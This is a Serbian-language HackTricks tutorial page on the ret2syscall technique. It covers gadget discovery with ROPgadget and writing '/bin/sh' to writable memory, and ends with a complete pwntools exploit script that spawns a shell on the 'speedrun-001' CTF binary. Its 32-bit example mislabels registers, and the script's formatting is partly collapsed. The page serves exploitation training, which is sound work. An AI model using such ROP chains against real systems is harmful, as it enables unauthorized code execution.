Ret2syscall

Ret2syscall

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Ovo je slično kao Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno da pozove syscall sys_execve sa nekim argumentima kako bi izvršio /bin/sh. Ova tehnika se obično izvodi na binarnim fajlovima koji su statički kompajlirani, tako da može biti puno gedžeta i instrukcija syscall-a.

Da bismo pripremili poziv za syscall potrebna je sledeća konfiguracija:

  • rax: 59 Specificira sys_execve

  • rdi: ptr ka "/bin/sh" specificira fajl za izvršenje

  • rsi: 0 specificira da nema prosleđenih argumenata

  • rdx: 0 specificira da nema prosleđenih promenljivih okruženja

Dakle, u osnovi je potrebno napisati string /bin/sh negde i zatim izvršiti syscall (imajući na umu potrebno poravnanje za kontrolu steka). Za ovo nam je potreban gedžet da napiše /bin/sh na poznatom mestu.

Još jedan interesantan syscall za pozivanje je mprotect koji bi omogućio napadaču da modifikuje dozvole stranice u memoriji. Ovo se može kombinovati sa ret2shellcode.

Gedžeti za registre

Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Sa ovim adresama je moguće upisati sadržaj na stek i učitati ga u registre.

Upisivanje stringa

Upisivačka memorija

Prvo morate pronaći mesto za pisanje u memoriji

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Upisivanje stringa u memoriju

Zatim morate pronaći način da upišete proizvoljni sadržaj na ovu adresu

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automatizuj ROP lanac

Sledeća komanda kreira potpuni sys_execve ROP lanac za statički binarni fajl kada postoje uređaji za pisanje-šta-gde i instrukcije za sistemski poziv:

ROPgadget --binary vuln --ropchain

32 bita

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bita

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Nedostajući uređaji

Ako vam nedostaju uređaji, na primer za pisanje /bin/sh u memoriji, možete koristiti SROP tehniku za kontrolu svih vrednosti registara (uključujući RIP i parametre registara) sa steka:

```python from pwn import *

target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')

Establish our ROP Gadgets

popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

writeGadget = p64(0x48d251)

Our syscall gadget

syscall = p64(0x40129c)

''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget

''' Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0

syscall '''

rop += popRax rop += p64(0x3b)

rop += popRdi rop += p64(0x6b6000)

rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)

rop += syscall

Add the padding to the saved return address

payload = "0"*0x408 + rop

Send the payload, drop to an interactive shell to use our new shell

target.sendline(payload)

target.interactive()

## Ostali Primeri & Reference

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bita, bez PIE-a, nx, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bita, nx, bez PIE-a, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo. Kako bi se upisala funkcija na stek koja vrši matematičke operacije.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.

Last updated